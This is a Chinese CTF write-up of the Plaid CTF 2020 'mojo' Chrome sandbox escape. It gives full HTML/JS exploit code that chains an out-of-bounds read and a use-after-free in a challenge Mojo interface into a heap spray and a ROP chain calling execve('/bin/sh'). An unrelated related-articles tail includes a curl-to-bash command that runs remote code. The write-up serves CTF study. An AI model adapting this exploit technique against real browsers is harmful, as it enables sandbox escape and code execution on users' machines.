Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo
文章目录
- 前置知识
- 参考文章
- 环境搭建
- 题目环境
- 调试环境
- 题目分析
- 附件分析
- 漏洞分析
- OOB
- UAF
- 漏洞利用
- 总结
前置知识
Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services
- 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
- 原文:Cleanly Escaping the Chrome Sandbox
参考文章
本文主要参考 Plaid CTF 2020 mojo Writeup
环境搭建
题目环境
给了 docker 环境,所以直接启 docker 即可。
安装 docker:
sudo snap install docker
运行 run.sh 脚本:
./run.sh
运行 chrome:
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
调试环境
这里单独启一个 web 服务:
python3 -m http.server 8000
调试脚本:
# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent
然后 gdb 调试即可:
gdb -x gdbinit
题目分析
附件分析
题目新定义了一个 PlaidStore 接口:
module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};
该接口定义了两个方法 StoreData、GetData 分别用于向 data store 中存储数据和获取数据。
然后在浏览器端实现 PlaidStore 接口:
namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}
可以看到这里存在两个私有变量其中一个是 data_store_,这个好理解,其就是用来存储数据的;这里的 render_frame_host_ 是神马东西呢?
render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost,很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段,会在 BinderMap 中填充所有公开的 mojo 接口:
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));}
当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其定义如下:
void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接调用了 PlaidStoreImpl::Create 函数:
// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。
漏洞分析
该题存在两个漏洞,分别是 OOB 与 UAF,接下来直接分别讲解。
OOB
来分析下存取数据的操作:
void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}
可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题,主要在于 GetData 函数没有对 count 字段做检查,所以这里可以导致越界读。
UAF
这里主要涉及到对象指针生命周期的问题。
在上面我们说过当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其最后会调用到 PlaidStoreImpl::Create 函数:
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定,也就是说这里会将消息管道的一段 receiver 与 PlaidStoreImpl 绑定,而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。
由于这里的绑定,所以当 mojo 管道关闭或发生错误时,PlaidStoreImpl 就会被自动释放,从而使得 PlaidStoreImpl 与 receiver 的生命周期保持一致,这其实是不存在问题的。
而在 PlaidStoreImpl 的构造函数中,存在对 render_frame_host 的赋值操作:
PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl 的构造函数中,将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了,如果 render_frame_host 对象被析构了(比如删除 iframe),但是 PlaidStoreImpl 还存在(因为 render_frame_host 并没有与 PlaidStoreImpl 绑定),那么在 StoreData/GetData 中调用 render_frame_host_->IsRenderFrameLive() 就会存在 UAF 漏洞。
漏洞利用
整体是思路就比较明确了:
- 利用
OOB泄漏相关数据 - 利用
UAF劫持程序执行流
前期准备
调用 MojoJS 接口时,请包含以下 JS 文件(这里请根据具体题目路径进行包含):
<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
然后进行管道端点绑定:
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
调试分析
OOB 泄漏数据
首先是测试 OOB,主要是看下能够泄漏什么数据:
<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>
将断点打在 PlaidStoreImpl::Create 函数上,主要就是看下 PlaidStoreImpl 申请的空间:

可以看到这里 PlaidStoreImpl 的空间大小为 0x28,其成员依次往下为 vtable、render_frame_host、data_store_:

当 StoreData 执行完后:

可以看到,这里 PlaidStoreImpl、data_store_、data_vector 位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImpl 的 vtable 地址,并且还可以泄漏 render_frame_host_ 的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址:

泄漏了 ELF 基地址后,就可以得到很多有用的 gadget 了。
UAF 劫持程序执行流
有了 gadget 后,接下来就是考虑如何劫持 rip,这里的想法就是劫持虚表指针从而劫持程序执行流。
我们知道,每次调用 StoreData/GetData 时,都会先调用 render_frame_host_->IsRenderFrameLive,其是通过虚表指针进行调用的:

可以看到这里的 rax 就是 render_frame_host_ 的虚表地址,然后 [rax + 0x160] 就是 IsRenderFrameLive 函数的地址。
可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160] 时,rax 确实是 render_frame_host_ 的虚表地址:

那么整个思路就比较清晰了:
- 构造
render_frame_host_ UAF - 堆喷获取
UAF堆块并伪造render_frame_host_虚表 - 调用
render_frame_host_->IsRenderFrameLive控制程序执行流
这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_ 对象的头 8 字节处),而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址(其就在 PlaidStoreImpl 虚表的下方),所以我们可以利用 xchg rax, rsp 等 gadget 劫持栈到 render_frame_host_ 上,并提前在 render_frame_host_ 上布置好 rop chain 即可。
这里借用上述参考文章中佬的一张图:

在布局
gadget前还有一个问题:我们该如何在释放render_frame_host_所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome中的内存管理使用的是TCMalloc机制。又因为StoreData函数分配的vector<uint8_t>与render_frame_host_使用的是同一个分配器,只要大量分配大小与RenderFrameHostImpl相等的vector,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 TCMalloc解密
所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上:

可以看到,在执行构造函数前执行了 RenderFrameFactory::Create 函数,所以其多半就是为 RenderFrameHostImpl 分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create 上:

所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28。
这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe,则对应的RenderFrameHost 将会自动关闭;但与此同时,child iframe 所对应的 PlaidStoreImpl 与 browser 建立的 mojo 管道将会被断开。而该管道一但断开,则 PlaidStoreImpl 实例将会被析构。
因此,我们需要在关闭 child iframe 之前,将管道的 remote 端移交给 parent iframe,使得 child iframe 的 PlaidStoreImpl 实例在 iframe 关闭后仍然存活。
回想一下,正常情况下,当关闭一个
iframe时,RenderFrameHost将会被析构、mojo管道将会被关闭。此时Mojo管道的关闭一定会带动PlaidStoreImpl的析构,这样就可以析构掉所有该析构的对象。
但这里却没有,因为在关闭child iframe前,已经将该iframe所持有的Mojo管道Remote端移交出去了,因此在关闭child iframe时将不会关闭Mojo管道。而PlaidStoreImpl的生命周期并没有与RenderFrameHost相关联。即RenderFrameHost的析构完全不影响PlaidStoreImpl实例的生命周期。所以,PlaidStoreImpl实例将不会被析构。
那么,问题是,该如何移交 Mojo 管道的 remote 端呢?答案是:使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframe 的 Mojo.bindInterface 调用。在 child iframe 被销毁前,我们可以利用该功能将mojo 管道的一端传递给 parent iframe。
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式:
var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}
现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:
- 将
child iframe中Mojo管道的remote端移交至parent iframe,使得Mojo管道仍然保持连接 - 释放
child iframe - 多次分配内存,使得分配到原先被释放
RenderFrameHostImpl的内存区域 - 写入目标数据
- 执行
child iframe对应的PlaidStoreImpl::GetData函数
不过需要注意的是,在该题中并不需要将
child iframe的Mojo管道一端传递给parent iframe的操作。因为通过调试可知,child iframe在remove后,其所对应的PlaidStoreImpl实例仍然存在,并没有随着Mojo pipe的关闭而被析构
尚未明确具体原因,但这种情况却简化了漏洞利用的方式
最后简化后的利用方式如下:
- 释放
child iframe - 多次分配内存,使得分配到原先被释放
RenderFrameHostImpl的内存区域 - 写入目标数据
- 执行
child iframe对应的PlaidStoreImpl::GetData函数
简单测试一下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>
效果如下:

程序在 GetData 中 Crash,此时的 rax = 0xdeadbeef,符合预期。
最后的 exp 如下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>
效果如下:

总结
这个题目算是比较简单的沙箱逃逸了,但是还是搞了两天。主要的问题就是调试,比较奇怪的是如果 exp 中出现了一些错误,程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时,忘记给 0 后面加上 n,然后 exp 就一直打不通,但是程序也不报错,所以这里发现这个 0n 问题,我就搞了一天…
相关文章:
Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo
文章目录 前置知识参考文章环境搭建题目环境调试环境 题目分析附件分析漏洞分析OOBUAF 漏洞利用总结 前置知识 Mojo & Services 简介 chromium mojo 快速入门 Mojo docs Intro to Mojo & Services 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文…...
汇编笔记 01
小蒟蒻的汇编自学笔记,如有错误,望不吝赐教 文章目录 笔记编辑器,启动!debug功能CS & IPmovaddsub汇编语言寄存器的英文全称中英对照表muldivandor 笔记 编辑器,启动! 进入 debug 模式 debug功能 …...
C语言:矩阵中的最小元素
题目描述 给定一个5X5的整数矩阵,找出其中最小的元素,输出所在的行号、列号和元素值,其中行号和列号都从0开始。 例如,有矩阵: 5 86 53 50 18 25 67 79 44 68 79 63 24 84 100 42 30 59 47 37 28 10 32 23 81 其中最小…...
【原创】MQTT开发笔记(四)- 压力测试
一、前言 Jmeter 是 apache 公司基于 java 开发的一款开源压力测试工具,体积小,功能全,使用方便,是一个比较轻量级的测试工具,使用起来非常简 单。因为 jmeter 是 java 开发的,所以运行的时候必须先要安装 …...
vue 引入 百度地图API 和 路书
公司项目中,偶尔都会涉及到地图的使用,这里以百度地图为例,我们梳理一下引用流程及注意点 账号和获取密钥 百度地图示例 百度地图 类参考 1、账号和获取密钥 // api.map.baidu.com/api?typewebgl&v3.0&ak您的密钥<script type…...
【QT+QGIS跨平台编译】之二十六:【SpatialIndex+Qt跨平台编译】(一套代码、一套框架,跨平台编译)
文章目录 一、SpatialIndex介绍二、文件下载三、文件分析四、pro文件五、编译实践一、SpatialIndex介绍 SpatialIndex是一个用于高效处理空间数据的C++库,基于R树索引结构实现。它提供了一系列的空间操作和查询算法,能够快速地对大规模空间数据进行检索和分析。 SpatialInd…...
SQL在云计算中的新角色:重新定义数据分析
文章目录 1. 云计算与数据分析的融合2. SQL在云计算中的新角色3. 分布式SQL查询引擎4. SQL-on-Hadoop解决方案5. SQL与其他数据分析工具的集成6. 实时数据分析与SQL7. SQL在云数据仓库中的角色8. 安全性与隐私保护9. SQL的未来展望《SQL数据分析实战(第2版ÿ…...
云安全的基本概念(基本目标与指导方针)
目录 一、云安全概念概述 1.1 概述 二、云安全的基本目标 2.1 安全策略开发模型 2.1.1 信息安全三元组 2.1.1.1 保密性(Confidentiality) 2.1.1.2 完整性(Integrity) 2.1.1.3 可用性(Availability) 2.1.2 信息安全三元组的局限性 2.2 其他信息安全属性 2.2.1 真实性 …...
猫头虎分享已解决Bug || docker: Error response from daemon: network not found
博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通鸿蒙》 …...
《幻兽帕鲁》攻略:0基础入门及游戏基础操作 幻兽帕鲁基础设施 幻兽帕鲁基础攻击力 Mac苹果电脑玩幻兽帕鲁 幻兽帕鲁加班加点
今天就跟大家聊聊《幻兽帕鲁》攻略:0基础入门及游戏基础操作。 如果想在苹果电脑玩《幻兽帕鲁》记得安装CrossOver哦。 以下纯干货: CrossOver正版安装包(免费试用):https://souurl.cn/Y1gDao 一、基础操作 二、界面…...
JDK版本如何在IDEA中切换
JDK版本在IDEA中切换 一、项目结构设置 1.Platform——Settings 项目结构---SDKS 2.Project——SDK 3.Modules——SDK——Sources 4.Modules——SDK——Dependencies 二、设置--编译--字节码版本 Settings——Build,——Java Compiler...
如何做零售企业满意度调查
零售业满意度调研是一项至关重要的市场研究工作,它能够帮助企业深入了解消费者对零售店的整体印象、商品质量、服务质量等方面的评价。这种评价可以帮助企业了解自身的优势和不足,提高企业的市场竞争力。民安智库(第三方市场调研公司…...
platform tree架构下i2c应用实例(HS3003)
目录 概述 1 探究platform tree下的i2c 1.1 platform tree下的i2c驱动 1.2 查看i2c总线下的设备 1.3 使用命令读写设备寄存器 2 认识HS3003 2.1 HS3003特性 2.2 HS3003寄存器 2.2.1 温湿度数据寄存器 2.2.2 参数寄存器 2.2.3 一个参数配置Demo 2.3 温湿度值转换 2.…...
Mongodb聚合:$planCacheStats
执行查询时,MongoDB 查询规划器会根据可用索引选择并缓存效率最高的查询计划。$planCache可以返回所有集合的查询计划缓存信息。要使用$planCache,必须把$planCacheStats阶段放在管道最前面。 语法 { $planCacheStats: { } }使用 $planCacheStats必须…...
8个简约精美的WordPress外贸网站主题模板
Simplify WordPress外贸网站模板 Simplify WordPress外贸网站模板,简洁实用的外贸公司wordpress外贸建站模板。 查看演示 Invisible Trade WP外贸网站模板 WordPress Invisible Trade外贸网站模板,做进出口贸易公司官网的wordpress网站模板。 查看演…...
本地缓存Ehcache的应用实践 | 京东云技术团队
java本地缓存包含多个框架,其中常用的包括:Caffeine、Guava Cache和Ehcache, 其中Caffeine号称本地缓存之王,也是近年来被众多程序员推崇的缓存框架,同时也是SpringBoot内置的本地缓存实现。但是除了Caffeine之外&…...
linux一键换源
使用方法 - LinuxMirrors 使用方法 一键执行命令# 中国大陆(默认) 海外地区 bash <(curl -sSL https://linuxmirrors.cn/main.sh)-----------------------------------| ⡇ ⠄ ⣀⡀ ⡀⢀ ⡀⢀ ⡷⢾ ⠄ ⡀⣀ ⡀⣀ ⢀⡀ ⡀⣀ ⢀⣀ || ⠧⠤ ⠇ ⠇⠸ …...
Python Scapy库实现ARP扫描和ARP欺骗
ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址 from scapy.all import * import argparse import threading import time import logging # 解析CIDR格式的网段,并返回IP地址列表 # >接受一个CIDR格式的网段…...
Fink CDC数据同步(六)数据入湖Hudi
数据入湖Hudi Apache Hudi(简称:Hudi)使得您能在hadoop兼容的存储之上存储大量数据,同时它还提供两种原语,使得除了经典的批处理之外,还可以在数据湖上进行流处理。这两种原语分别是: Update/Delete记录:H…...
线程和进程的区别及基础线程创建
1 线程和进程的区别 资源分配和调度: 进程(火车)是操作系统进行资源分配和调度的最小单位。它有自己的独立资源空间,包括内存、文件句柄等。线程(车厢)是CPU调度的最小单位。一个进程可以包含多个线程&…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...
免费PDF转图片工具
免费PDF转图片工具 一款简单易用的PDF转图片工具,可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件,也不需要在线上传文件,保护您的隐私。 工具截图 主要特点 🚀 快速转换:本地转换,无需等待上…...
vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...
作为测试我们应该关注redis哪些方面
1、功能测试 数据结构操作:验证字符串、列表、哈希、集合和有序的基本操作是否正确 持久化:测试aof和aof持久化机制,确保数据在开启后正确恢复。 事务:检查事务的原子性和回滚机制。 发布订阅:确保消息正确传递。 2、性…...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制
目录 节点的功能承载层(GATT/Adv)局限性: 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能,如 Configuration …...
tauri项目,如何在rust端读取电脑环境变量
如果想在前端通过调用来获取环境变量的值,可以通过标准的依赖: std::env::var(name).ok() 想在前端通过调用来获取,可以写一个command函数: #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...
